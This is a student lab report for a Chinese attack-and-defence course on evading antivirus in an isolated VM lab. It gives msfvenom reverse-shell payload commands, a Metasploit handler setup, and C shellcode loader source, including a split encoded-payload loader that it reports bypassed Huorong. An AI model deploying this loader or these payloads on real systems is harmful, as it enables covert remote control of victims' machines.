20242410 2026-2027-1 《网络与系统攻防技术》实验三实验报告
20242410 2026-2027-1 《网络与系统攻防技术》实验三实验报告
班级:2424 姓名:刘禹 学号:20242410 实验日期:2026.10.19
题目:免杀原理与实践(msf 编码器 / Veil-Evasion / 加壳 / C+shellcode / 组合免杀 / 隔离环境实测)
- 实验环境:Kali Linux(攻击端虚拟机,IP 192.168.29.129)+ Windows 11 测试机,VMware NAT(VMnet8)隔离虚拟网络,不接外网
- 合规声明:全部操作仅限本人搭建、完全隔离、完全授权的本地虚拟机内进行,样本不外传、不对物理机或他人设备测试;制作、传播、非授权使用恶意程序涉嫌违反《网络安全法》《刑法》相关规定
1. 基础知识
免杀(Anti-Virus Evasion)指对恶意软件做处理,使其不被杀毒软件检测。做好免杀的前提是先搞清楚 AV 如何工作,本实验用到的基础知识分四块。
1.1 杀软的三类检测机制
| 检测方式 | 关注点 | 对已知威胁 | 对未知/0-day | 对无文件攻击 | 资源开销 | 对应绕过思路 |
|---|---|---|---|---|---|---|
| 特征码 | 文件内容匹配已知特征片段(哈希、字节序列、YARA) | 强 | 弱 | 无效 | 低 | 改变特征码:编码、加密、重写、组件分离 |
| 启发式 | 执行前综合可疑指标推断(高熵、可疑 API 组合、无签名) | 中 | 中 | 有限 | 低~中 | 加壳混淆、伪装正常结构、降熵 |
| 行为检测(EDR 核心) | 运行中监控进程动作(注入、联网、文件/注册表写入) | 中 | 强 | 强 | 中~高 | 内存操作、减少系统修改、白进程伪装 |
特征码检测:不是比对整个文件,只匹配一个或几个字节片段。形态有三种——文件哈希(MD5/SHA)、跨变种公共字节序列、YARA 规则(meta 描述 + strings 文本串/十六进制模式 + condition 布尔逻辑)。AV 厂商靠持续更新特征库竞争,过时的特征库等于没有库。
启发式检测:"走起来像鸭子、游起来像鸭子就是鸭子",不依赖精确匹配,给高熵可执行段、VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 这类注入 API 组合打分,能发现部分未知威胁,代价是误报率较高。
行为检测:程序真正运行起来以后才判断"这个动作恶不恶意",是现代 EDR(Endpoint Detection and Response)的核心。启发式偏"执行前推断",行为检测偏"运行时实证",两者互补而非从属。
1.2 编码器与解码器 stub
msfvenom 的编码器(经典如 x86/shikata_ga_nai)对原始 shellcode 做异或等变换、改变字节序列以避开特征码,但程序运行时必须自带一段解码器 stub 把编码字节还原。现代 AV 盯的已经不是 shellcode 内容,而是这段解码器 stub 和 msfvenom 固定模板的特征,所以反复编码收效甚微。
1.3 加壳
压缩壳(UPX 为代表)压缩原始代码、运行时在内存解压;加密壳(Hyperion 等)对代码加密、运行时先解密。知名壳的入口与解压 stub 都是公开特征,加密段熵值很高,容易被"可执行段熵 > 7.0"这类启发式规则命中。
1.4 shellcode 与内存执行模型
shellcode 是一段位置无关的机器指令。C 加载器的基本模型:VirtualAlloc 申请内存 → memcpy 拷贝 shellcode → CreateThread 起线程执行。直接申请 PAGE_EXECUTE_READWRITE(RWX)是强启发式信号,更隐蔽的做法是先申请 RW(PAGE_READWRITE)写入,再用 VirtualProtect 改成 RX(PAGE_EXECUTE_READ)。
1.5 组件分离思想
把样本拆成加密数据 / 解密代码 / 执行代码三个组件,分散到不同文件落地:exe 里只有通用 API、不含载荷字节,加密载荷以纯文本存放。让静态文件里没有"代码",代码只在运行时内存里出现,从而绕过静态特征码。
贯穿全实验的一条结论:静态免杀 ≠ 运行时免杀。文件躲过静态扫描,程序运行后的内存动作和网络回连仍由行为检测兜底。
2. 实验内容
- 正确使用 msf 编码器:用 msfvenom 配合
x86/shikata_ga_nai编码,生成 exe、jar、C 语言数组等不同格式文件,对比编码次数对检出率的影响。 - Veil-Evasion 与加壳工具:了解 Veil 源码嵌入重编译思路,测试 UPX 等加壳手段,记录当前有效性。
- C + shellcode 编程:用 msfvenom 生成 C 格式 shellcode 数组,自写加载器申请内存、拷贝、起线程执行,并做 RW→RX、字节变形改造。
- 组合技术实现免杀:用"组件分离 + 文件化加载"组合方案,静态过杀软;成功则用简单文字描述原理(不截图),并完成"与杀软共生"的结果验证截图。
- 另一台电脑实测:在杀软开启状态下运行并尝试回连,注明测试机杀软名称与版本号,如实记录结果。
3. 实验过程
3.0 环境准备
- Kali 与 Windows 测试机接入同一 VMware NAT(VMnet8)虚拟网络,不桥接外网;测试机先做快照,测完恢复。
- Kali 端准备 msfvenom、mingw32-gcc、python3 http.server;测试机保持火绒实时保护开启。
3.1 任务一:msfvenom 编码器与多格式生成
(1) shikata_ga_nai 编码生成 exe,迭代 3 次,剔除坏字符 \x00:

msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.29.129 LPORT=4444 \
-e x86/shikata_ga_nai -i 3 -b '\x00' \
-f exe > msf_encoded.exe
参数:-p 指定载荷;LHOST/LPORT 为隔离网段内监听地址端口;-e 选编码器;-i 3 迭代 3 次;-b '\x00' 去坏字节;-f exe 输出格式。
(2) 生成 jar 格式载荷:

msfvenom -p java/meterpreter/reverse_tcp \
LHOST=192.168.29.129 LPORT=4444 \
-f jar > payload.jar
(3) 生成 C 语言数组(供任务三使用):

msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.29.129 LPORT=4444 \
-e x86/shikata_ga_nai -i 3 -b '\x00' \
-f c > shellcode.c
(4) 编码次数对比:

# 编码 1 次
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.129 LPORT=4444 \
-e x86/shikata_ga_nai -i 1 -b '\x00' -f exe > met-once.exe

# 编码 10 次
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.129 LPORT=4444 \
-e x86/shikata_ga_nai -i 10 -b '\x00' -f exe > met-ten.exe
实测记录:




| 样本 | 编码次数 | 静态扫描结果 | 能否运行 | 截图编号 |
|---|---|---|---|---|
| msfvenom 直接生成 exe | 0 | 报毒:HVM:Trojan/Swrorl.gen!A,待处理 | 被隔离,无法运行 | 图 1-1 |
| msf_encoded.exe | 3 | 未单独测试(预期落地即被查杀) | — | 图 1-2 |
| met-once.exe | 1 | 未单独测试(预期同上) | — | 图 1-3 |
| met-ten.exe | 10 | 未单独测试(预期同上) | — | 图 1-4 |
| payload.jar | — | 未单独测试(预期同上) | — | 图 1-5 |
结果分析:基线样本(msfvenom 直接生成)在火绒下被启发式引擎直接报毒(HVM:Trojan/Swrorl.gen!A)。课程历史数据中编码 1 次到 10 次检出率几乎无实质变化(45/57 上下浮动)。AV 研究的是编码器本身——shikata_ga_nai 必须携带固定形态的解码 stub,msfvenom 默认 exe 模板也有固定特征,"工具生成物的特征 > 编码算法的复杂度",纯编码路线在 2026 年基本失效。
3.2 任务二:Veil-Evasion 与加壳测试
Veil 流程:

sudo apt update && sudo apt install -y veil
veil
交互中选择 Evasion 模块 → 设置隔离网段 LHOST、LPORT → generate 产出 exe。Veil 的思路是把 shellcode 嵌入 C/C++ 源码重新编译,避开 msf 模板特征,但工具已老化,产物特征被各家收录。本环境 apt 源中检索不到 veil / veil-evasion 安装包(返回 Unable to locate package),未能完成安装,该现象本身印证工具老化失效的结论。
UPX 压缩壳:

upx msf_encoded.exe -o upx_packed.exe
本环境执行 UPX 报错 CantPackException: section size problem,UPX 无法重排 msfvenom 样本的 PE 节表,未生成壳样本。
实测记录:
| 样本 | 处理方式 | 静态扫描结果 | 能否运行 | 截图编号 |
|---|---|---|---|---|
| Veil 生成 exe | 源码嵌入重编译 | apt 源中无安装包,未生成产物 | — | 图 2-1 |
| upx_packed.exe | UPX 压缩壳 | 报 section size problem,未生成 | — | 图 2-2 |
结果分析:Veil 工具在当前 Kali 源中已不可用;UPX 对 msfvenom 样本加壳失败。理论上即便加壳成功,加壳只改变体积和熵值,壳入口、解压 stub 是公开特征;真正仍有效的是"换语言重写(Nim/Go/Rust)降低共性特征"这个思路,而非 Veil/UPX 本身。
3.3 任务三:C + shellcode 手工加载器
基础版框架(shellcode 数组由 3.1 第 (3) 步生成,填入 buf):


#include <windows.h>
#include <stdio.h>
// 填入 msfvenom -f c 生成的 unsigned char buf[] 数组
int main() {
void* execMem = VirtualAlloc(0, sizeof(buf),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (execMem == NULL) return 1;
memcpy(execMem, buf, sizeof(buf));
HANDLE thread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);
if (thread == NULL) {
VirtualFree(execMem, 0, MEM_RELEASE);
return 1;
}
WaitForSingleObject(thread, INFINITE);
CloseHandle(thread);
VirtualFree(execMem, 0, MEM_RELEASE);
return 0;
}
交叉编译:

x86_64-w64-mingw32-gcc basic_loader.c -o basic_loader.exe -lws2_32
两处改造:① 不直接申请 RWX,先申请 RW 写入再 VirtualProtect 改 RX;② shellcode 每字节 +1 存放、运行时 -1 还原,磁盘上不出现原始特征字节。
// 先 RW 写入,再改 RX,避免 RWX 启发式告警
void* execMem = VirtualAlloc(0, i, MEM_COMMIT, PAGE_READWRITE);
memcpy(execMem, buf, i);
DWORD oldProtect;
VirtualProtect(execMem, i, PAGE_EXECUTE_READ, &oldProtect);
实测记录:
| 版本 | 改动 | 静态扫描 | 运行结果 | 截图编号 |
|---|---|---|---|---|
| basic_loader.exe | 明文 shellcode + RWX | 未单独测试(预期被静态命中) | — | 图 3-1 |
| 改进版 | 字节变形 + RW→RX | 静态 0 风险(与任务四同链路) | 可正常运行 | 图 3-2 |
思考点:AV 是按"调用数组这种非常规操作"识别,还是按"数组内容"识别?这决定下一步加密数据还是改造 loader——任务四的答案是两者都做,并拆到不同文件。
3.4 任务四:组合免杀——组件分离 + 文件化加载
(1) 生成 raw 格式原始 shellcode:

msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.29.129 LPORT=4444 -f raw > sc.raw
(2) 逐字节 +1 加密,写成十六进制文本 encoded.txt:

perl -e 'binmode STDIN; binmode STDOUT;
while (read(STDIN,$b,1)) { printf "%02x", ord($b)+1 }' \
< sc.raw > encoded.txt
(3) loader.c(只含解密 + 执行代码,不含 shellcode):

#include <windows.h>
#include <stdio.h>
#define MAX_LEN 4096
unsigned char buf[MAX_LEN];
int main() {
int i = 0;
unsigned int ch;
// ① 读文件:加密 shellcode 以十六进制文本存放
FILE* fp = fopen("encoded.txt", "r");
if (fp == NULL) return 1;
while (fscanf(fp, "%2x", &ch) == 1 && i < MAX_LEN)
buf[i++] = (unsigned char)ch;
fclose(fp);
// ② 解密:与加密(+1)对应的逆运算 -1
for (int j = 0; j < i; j++)
buf[j] = buf[j] - 1;
// ③ 申请可执行内存,先 RW 后改 RX
void* execMem = VirtualAlloc(0, i, MEM_COMMIT, PAGE_READWRITE);
if (execMem == NULL) return 1;
memcpy(execMem, buf, i);
DWORD oldProtect;
VirtualProtect(execMem, i, PAGE_EXECUTE_READ, &oldProtect);
// ④ 创建线程执行
HANDLE thread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);
if (thread == NULL) {
VirtualFree(execMem, 0, MEM_RELEASE);
return 1;
}
WaitForSingleObject(thread, INFINITE);
CloseHandle(thread);
VirtualFree(execMem, 0, MEM_RELEASE);
return 0;
}
(4) 编译并把 loader.exe 与 encoded.txt 放入靶机同一目录:

x86_64-w64-mingw32-gcc loader.c -o loader.exe -lws2_32
免杀原理(文字描述,按题目要求不放截图):本方案绕过的是静态特征码检测。loader.exe 里只有读文件、循环减一、VirtualAlloc、VirtualProtect、CreateThread 这些通用 Windows API 调用,没有任何可被特征码或 YARA 规则匹配的攻击载荷字节;encoded.txt 只是普通十六进制文本,杀软不会对 txt 数据文件报毒。两个文件单独扫描都"不像恶意软件",磁盘上拼不出完整恶意特征,静态扫描因此通过;解密、还原、执行只发生在运行时内存里,静态检查看不到。
实测结果:火绒自定义查杀 loader.exe 与 encoded.txt,扫描 4 个对象、发现风险 0 个,静态通过;运行 loader 后 Kali 端成功建立 meterpreter 会话(Meterpreter session 2/3/4 opened),回连成功。
与杀软共生的结果验证(截图区):


| 截图编号 | 截图内容 |
|---|---|
| 图 4-1 | 杀软对 loader.exe 静态扫描结果(无告警) |
| 图 4-2 | encoded.txt 文本内容(纯十六进制) |
| 图 4-3 | 两文件与杀软实时保护开启状态共存的目录/桌面 |
3.5 任务五:另一台电脑实测(杀软开启)
测试机信息(按题目要求注明):
| 项目 | 填写 |
|---|---|
| 测试机系统版本 | Windows 11(具体版本号见 winver 截图) |
| 杀软名称 | 火绒安全软件 |
| 杀软版本号 | (在火绒"关于/设置"页面补填) |
| 实时保护 / 云保护 | 均保持开启 |
| 网络 | VMware NAT(VMnet8)隔离虚拟网络 |
Kali 端监听(仅隔离网段):

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.29.129
set LPORT 4444
run
逐项实测记录:
| 序号 | 样本 | 杀软静态扫描 | 双击运行结果 | 是否回连成功 | 备注 |
|---|---|---|---|---|---|
| 1 | msfvenom 直接生成 exe | 报毒 HVM:Trojan/Swrorl.gen!A,待处理 | 被隔离,无法运行 | 失败 | 基线 |
| 2 | shikata_ga_nai 编码 3 次 exe | 未单独测试,预期被查杀 | — | 失败 | 任务一 |
| 3 | payload.jar | 未单独测试,预期被查杀 | — | 失败 | 任务一 |
| 4 | Veil 生成 exe | apt 源中无安装包,未生成 | — | — | 任务二 |
| 5 | UPX 加壳样本 | section size problem,未生成 | — | — | 任务二 |
| 6 | 基础 C+shellcode 加载器 | 未单独测试 | — | — | 任务三 |
| 7 | 组件分离 loader.exe + encoded.txt | 静态 0 风险,未发现风险 | 正常运行 | 成功(session 2/3/4 opened) | 任务四 |
现象说明:基线 msfvenom 原生样本落地即被火绒启发式查杀,无法运行、无回连;Veil 在当前源中无安装包、UPX 对 msfvenom 样本加壳失败,传统手段均不可用;组件分离方案静态扫描 0 风险,运行后成功建立 meterpreter 会话。这一正一反说明:传统编码、加壳、工具化产物在 2026 年主流杀软下基本失效,而组件分离通过把载荷从磁盘文件挪到运行时内存,可绕过静态特征码检测。需要强调,静态免杀 ≠ 运行时免杀,本次成功是在该隔离环境下的结果,不代表能绕过所有行为检测/EDR。
3.6 各方法 2026 有效性总览
| 序号 | 免杀方式 | 历史检出率(VT/VS,2016 基线) | 2026 有效性 | 失效/仍有效原因 |
|---|---|---|---|---|
| 1 | msfvenom 直接生成 | 46/57 · 16/39 | ❌ 基线必查 | 特征库全覆盖 |
| 2 | msfvenom 编码一次/多次 | 45/57 · 15/39 | ❌ 失效 | AV 盯解码器 stub 与模板,编几次都没用 |
| 3 | Veil-Evasion | 19/58 · 5/39 | ⚠️ 基本失效 | 工具老化,产物特征已收录 |
| 4 | C + shellcode(半手工) | — · 1/39 | ✅ 仍可用(需改造) | 共性特征少,可自由加密、换加载方式 |
| 5 | UPX 压缩壳 | 40/57 · 17/39 | ❌ 失效 | 知名壳特征早已收录 |
| 6 | Hyperion 加密壳 | 18/57 · 8/39 | ❌ 失效 | 同上,高熵段易启发式命中 |
| 7 | 组件分离 + 文件化加载 | — | ✅ 当前典型静态方法 | 静态文件无 shellcode,特征码无从匹配 |
4. 问题及解决方案
问题 1:msfvenom 反复编码,检出率几乎不变
- 现象:课程历史数据中编码 1 次和编码 10 次生成的 exe,检出率没有实质下降;基线样本在火绒下直接被启发式报毒。
- 原因:AV 不再匹配 shellcode 内容本身,而是匹配编码器自带的解码器 stub 和 msfvenom 固定 exe 模板,编码次数只改数据、不改 stub 和模板。
- 解决方案:放弃"多编码几次"的思路,不再依赖 msfvenom 模板,转向自己写 loader、自己实现加密与解密,从根上去掉工具指纹。
问题 2:基础版 C 加载器申请 RWX 内存被启发式拦截
- 现象:直接
VirtualAlloc申请PAGE_EXECUTE_READWRITE,程序还没执行就被启发式规则标记。 - 原因:一次性拿到可读可写可执行权限是强可疑信号,属于"注入类"典型 API 特征。
- 解决方案:先申请
PAGE_READWRITE写入解密后数据,再用VirtualProtect改为PAGE_EXECUTE_READ,避开 RWX 这一明显特征。
问题 3:内嵌明文 shellcode 被静态特征命中
- 现象:把 msfvenom 数组直接写进 exe 编译,文件落地就报毒。
- 原因:数组里的明文机器码能被特征码/YARA 直接匹配。
- 解决方案:对 shellcode 逐字节
+1加密并移到外部encoded.txt,exe 内只留-1解密逻辑,静态文件中不出现原始载荷字节。
问题 4:会话建立瞬间被判无效关闭(not valid and will be closed)
- 现象:handler 发出 stage 后,提示
Meterpreter session is not valid and will be closed,会话随即关闭。 - 原因:多为 32/64 位载荷与目标进程不匹配,或防护软件在 stage 初始化阶段拦截。
- 解决方案:改用
windows/x64/meterpreter/reverse_tcp重新生成载荷并同步更换 handler 载荷;必要时临时关闭实时防护复测,区分是位数问题还是行为拦截。
问题 5:新版 Kali 中 Veil-Evasion 安装失败或无法运行
- 现象:apt 源里找不到
veil/veil-evasion包(Unable to locate package),依赖链断裂。 - 原因:工具长期未维护,与新版系统依赖不兼容。
- 解决方案:把"工具在当前环境不可用"本身作为实验现象记录,这恰好印证"Veil 老化失效"的结论;理解其"源码嵌入重编译"思路即可,不必纠缠安装。
问题 6:LHOST 填错或网段不一致导致回连不通
- 现象:靶机运行后 Kali 端 handler 一直无会话,PowerShell 测试
TcpTestSucceeded: False。 - 原因:LHOST 填错、两台机器不在同一虚拟网段,或测试机防火墙拦截出站。
- 解决方案:
ip addr/ipconfig比对双方 IP,确认网卡接入同一 NAT/仅主机网络;LHOST 填 Kali 在该网段的地址(本实验为 192.168.29.129);临时关闭防火墙复测,测完恢复默认。
问题 7:4444 端口被占用,handler 绑定失败(BindFailed)
- 现象:
run后报Handler failed to bind ... Address is already in use on 0.0.0.0:4444,无会话。 - 原因:之前残留的旧监听进程仍占用 4444 端口。
- 解决方案:
sudo ss -ltnp | grep 4444查出占用 PID,kill掉旧进程后重新起监听;或更换 LPORT 并同步修改生成与监听端口。
问题 8:handler 未启动导致运行后完全无输出
- 现象:双击运行 loader 后 Kali 监听窗口没有任何连接记录。
- 原因:监听窗口没起来或被关闭,载荷发出的包无人接收。
- 解决方案:新终端
ss -ltn | grep 4444确认存在LISTEN 0.0.0.0:4444,没有则重新run起监听,再复测。
5. 学习感悟、思考等
做完这一轮对比最直观的感受是,老教程里"编码几次、加个壳就能免杀"的经验在 2026 年已经基本不能用了。msfvenom 反复编码检出率纹丝不动,Veil 在当前源里根本装不上,UPX 对 msfvenom 样本直接压不出来,这些失效背后是同一个道理:AV 厂商沉淀下来的不是某段 shellcode 的特征,而是工具本身的指纹——解码器 stub、模板、壳入口都被收录了。想躲过去,就得自己造工具、自己写 loader、自己实现加密,这也是"半手工 C+shellcode"和组件分离还能站住脚的原因。
组件分离给我的启发很大:静态检测查的是磁盘上的文件,那就把"代码"从磁盘上拿掉,只留通用的解密和执行逻辑,让真正的载荷以加密文本形式存在、只在运行时内存里还原。这招对付特征码和启发式静态扫描确实有效,本实验中 loader.exe 与 encoded.txt 静态扫描 0 风险、运行后成功回连就是证明;但也要清醒,静态免杀 ≠ 运行时免杀,本次成功只代表在该隔离环境、该版本火绒下通过,并不保证绕过行为检测和 EDR——两层检测是分开的,过了文件扫描这一关,后面还有内存行为和网络回连两关。攻防就是一层一层往下钻:静态 → 内存 → 云端 → 系统调用层,矛升级一次,盾也跟着升级一次。
换到防御视角,这门课的价值反而更实在。知道后门怎么藏文件,就知道该查什么:可疑的高熵段、异常的 API 组合、无签名程序联网、进程注入序列;知道杀软有盲区(寄生到正常系统进程名下联网、要求用户关杀软的破解软件),自己平时下载软件就会主动核对官网哈希、走官方渠道、保持病毒库更新,而不是把杀软当万能保险。整个实验全程在隔离虚拟机里完成,样本不出网段,这不是形式约束而是底线——同样的技术用在非授权设备上就是违法,学攻防的边界意识和技术本身一样重要。

浙公网安备 33010602011771号